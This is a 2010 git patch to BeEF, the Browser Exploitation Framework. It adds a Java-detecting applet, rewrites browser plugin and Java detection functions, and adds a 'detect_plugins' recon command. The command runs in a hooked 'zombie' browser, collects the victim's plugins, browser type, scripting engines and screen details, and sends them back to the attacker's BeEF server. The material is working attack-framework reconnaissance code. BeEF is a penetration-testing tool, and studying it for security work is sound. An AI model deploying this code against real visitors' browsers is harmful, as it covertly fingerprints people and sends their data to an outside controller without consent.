From be244d128447496fcb341473000ae49645056332 Mon Sep 17 00:00:00 2001 From: passbe Date: Thu, 11 Nov 2010 11:54:11 +0000 Subject: [PATCH] Added detect_plugins, rewrote getPlugins and hasJava, added Java Version Class (jvc) git-svn-id: https://beef.googlecode.com/svn/trunk@506 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- demos/jvc.class | Bin 0 -> 641 bytes demos/jvc.java | 28 +++++++++++ modules/beefjs/browser.js | 45 ++++++++---------- .../recon/detect_plugins/detect_plugins.js | 11 +++++ .../recon/detect_plugins/detect_plugins.rb | 43 +++++++++++++++++ 5 files changed, 102 insertions(+), 25 deletions(-) create mode 100644 demos/jvc.class create mode 100644 demos/jvc.java create mode 100644 modules/commands/recon/detect_plugins/detect_plugins.js create mode 100644 modules/commands/recon/detect_plugins/detect_plugins.rb diff --git a/demos/jvc.class b/demos/jvc.class new file mode 100644 index 0000000000000000000000000000000000000000..d2037932ed5e21ea43009ed38b4921037d6813b0 GIT binary patch literal 641 zcmZutT}uK%6g}gvx~^;4_H9{N5$Z!iJr+R(JxN4{552^igRJPTtgGOE>Y<=0dgurA zqoOlg^kFh^@0~m6o^$TJy}!Hy*u%C714{;$P2{kWLK3S6@+z+-v7W?+K)icBl!1U< zZ97A!(s8_2r4|OR*E;xm^aK)zuIGkF0$Q@A_n$E0!jSr6P>i^y$W|`Gep_p1O+FXb*38l{*U-G6I&W zcj;QuB~h@ji7g8$m;&jqH$`J1ty&t#xnH!N)9ZC)SUHZ8KsIWA?mX&;vP%NGI1l`u z48oDXPVv9f3FcAYmm2)?7!Q3!6~&q3pkZVfr+CXV3)L+@LEN+8FES>grpB24hVGL} zL1)W$>>1i4^s*g~ip0<06f{CiYNlaRM_`8eQ!B@;2x9sz<8PrXZ?l+V{Ojof`rR0G So}l@O(8M@Y=`AQdEPen#`EE!6 literal 0 HcmV?d00001 diff --git a/demos/jvc.java b/demos/jvc.java new file mode 100644 index 000000000..8b806365c --- /dev/null +++ b/demos/jvc.java @@ -0,0 +1,28 @@ +import java.applet.Applet; + +public class jvc extends Applet +{ + private String m_ver; + private String m_ven; + + public void init() + { + m_ver = System.getProperty("java.version"); + m_ven = System.getProperty("java.vendor"); + } + + public boolean isRunning() + { + return true; + } + + public String getVersion() + { + return m_ver; + } + + public String getVendor() + { + return m_ven; + } +} diff --git a/modules/beefjs/browser.js b/modules/beefjs/browser.js index bdf05c3f1..ea4ad99c1 100644 --- a/modules/beefjs/browser.js +++ b/modules/beefjs/browser.js @@ -243,21 +243,18 @@ beef.browser = { */ hasJava: function() { if(window.navigator.javaEnabled()) { - //Java is switched on in the browser, now need to detect whether or not its installed - if (document.getElementsByTagName("head")[0]) + var jvc = document.createElement('applet'); + var running = false; + jvc.id = 'beef_jvc'; + jvc.classid = 'jvc.class'; + if (document.body.appendChild(jvc)) { - var ns = document.createElement('script'); - ns.type = 'text/javascript'; - ns.src = 'http://java.com/js/deployJava.js'; - document.getElementsByTagName('head')[0].appendChild(ns); - if (deployJava && deployJava.versionCheck) - { - try { - return deployJava.versionCheck('0.1+'); - } catch (e) {} - - } + try { + running = jvc.isRunning(); + } catch (e) {} + document.body.removeChild(jvc); } + return running; } return false; }, @@ -281,18 +278,16 @@ beef.browser = { */ getPlugins: function() { var results = ''; - - if (navigator.plugins && navigator.plugins.length > 0) { - var pluginsArrayLength = navigator.plugins.length; - - for (pluginsArrayCounter=0; pluginsArrayCounter < pluginsArrayLength; pluginsArrayCounter++ ) { - results += navigator.plugins[pluginsArrayCounter].name; - if(pluginsArrayCounter < pluginsArrayLength-1) { - results += String.fromCharCode(10); - } - } - } - + if (navigator.plugins && navigator.plugins.length > 0) + { + var length = navigator.plugins.length; + for (var i=0; i < length; i++) + { + if (i != 0) + results += ','; + results += navigator.plugins[i].name; + } + } return results; }, diff --git a/modules/commands/recon/detect_plugins/detect_plugins.js b/modules/commands/recon/detect_plugins/detect_plugins.js new file mode 100644 index 000000000..af62c4b84 --- /dev/null +++ b/modules/commands/recon/detect_plugins/detect_plugins.js @@ -0,0 +1,11 @@ +beef.execute(function() { + var plugins = beef.browser.getPlugins(); + var browser_type = JSON.stringify(beef.browser.type()); + var java_enabled = (beef.browser.hasJava())? "Yes" : "No"; + var vbscript_enabled = (beef.browser.hasVBScript())? "Yes" : "No"; + var has_flash = (beef.browser.hasFlash())? "Yes" : "No"; + var screen_params = JSON.stringify(beef.browser.getScreenParams()); + var window_size = JSON.stringify(beef.browser.getWindowSize()); + + beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins+'&java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&browser_type='+browser_type+'&screen_params='+screen_params+'&window_size='+window_size); +}); \ No newline at end of file diff --git a/modules/commands/recon/detect_plugins/detect_plugins.rb b/modules/commands/recon/detect_plugins/detect_plugins.rb new file mode 100644 index 000000000..019cd5914 --- /dev/null +++ b/modules/commands/recon/detect_plugins/detect_plugins.rb @@ -0,0 +1,43 @@ +module BeEF +module Modules +module Commands + +class Detect_plugins < BeEF::Command + + def initialize + super({ + 'Name' => 'Browser Details', + 'Description' => %Q{ + This module will retrieve the selected zombie browser plugins, browser type + and scripting engines, plus screen dimensions.' + }, + 'Category' => 'Recon', + 'Author' => ['wade','vo','passbe'], + 'File' => __FILE__, + 'Target' => { + 'browser_name' => BeEF::Constants::Browsers::ALL + } + }) + use 'beef.dom' + use_template! + end + + def callback + content = {} + content['Plugins'] = @datastore['plugins'] + content['Browser type'] = @datastore['browser_type'] + content['Java enabled'] = @datastore['java_enabled'] + content['VBscript enabled'] = @datastore['vbscript_enabled'] + content['Has Flash'] = @datastore['has_flash'] + content['Screen Parameters'] = @datastore['screen_params'] + content['Window Size'] = @datastore['window_size'] + + save content + #update_zombie! + end + +end + +end +end +end \ No newline at end of file